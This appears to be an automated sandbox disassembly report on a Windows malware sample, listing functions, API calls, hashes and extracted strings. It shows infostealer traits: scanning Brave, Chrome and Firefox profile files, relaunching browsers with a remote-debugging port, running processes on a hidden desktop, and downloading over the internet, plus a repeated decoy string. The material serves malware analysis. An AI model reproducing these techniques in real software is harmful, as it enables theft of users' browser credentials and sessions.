The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction ID: 994efd3a0b10ceab7f5143b43c992d696de16e9dedea517f3aaaefbefb2e1973
Opcode Fuzzy Hash: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction Fuzzy Hash: F0413F79740624ABD7109FE5FC4DADCBF70AB4C702BA08061F90A99190C7F993859B7D

Function 0040BE40 Relevance: 63.7, APIs: 29, Strings: 7, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534
\Brave\Preferences, xrefs: 0040C1C1
Preferences, xrefs: 0040C104
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
Brave, xrefs: 0040C0E8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2
Google Chrome, xrefs: 0040C6F8

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: 7f2c12acea1fb690b98b804b029ed6a0b383e69760eb48825d33dc6626a9561a
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: 7f2c12acea1fb690b98b804b029ed6a0b383e69760eb48825d33dc6626a9561a
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 00414B60 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

%s\*, xrefs: 00414B70
%s\%s, xrefs: 00414C4B
%s\%s, xrefs: 00414BF4
-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA
API String ID: 180737720-309722913
Opcode ID: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 004140F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

%s\%s, xrefs: 00414107

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405051, 00405134
+aA, xrefs: 00405105, 0040508D, 00405090, 00405108

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID: +aA$+aA
API String ID: 1008454911-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 0040F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

prefs.js, xrefs: 0040F912

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: fa97d7417b00e0ed7db09385c6ddcfeec11e37439937ba94b1fa1e1cdc91277e
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425244,?,00401F6C,?,004252EC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425394), ref: 004019B3
StrCmpCA.SHLWAPI(?,0042543C), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 2ff589b7318baa7f976504f8b1a035ee7613a6a401d588f3c424ef713a7e4cd3
Instruction ID: a576ed9f26fd673c6d53a896fc8188a2a0655e62510251b9f9068b5a07b58df1
Opcode Fuzzy Hash: 2ff589b7318baa7f976504f8b1a035ee7613a6a401d588f3c424ef713a7e4cd3
Instruction Fuzzy Hash: 45125071A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 0040DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
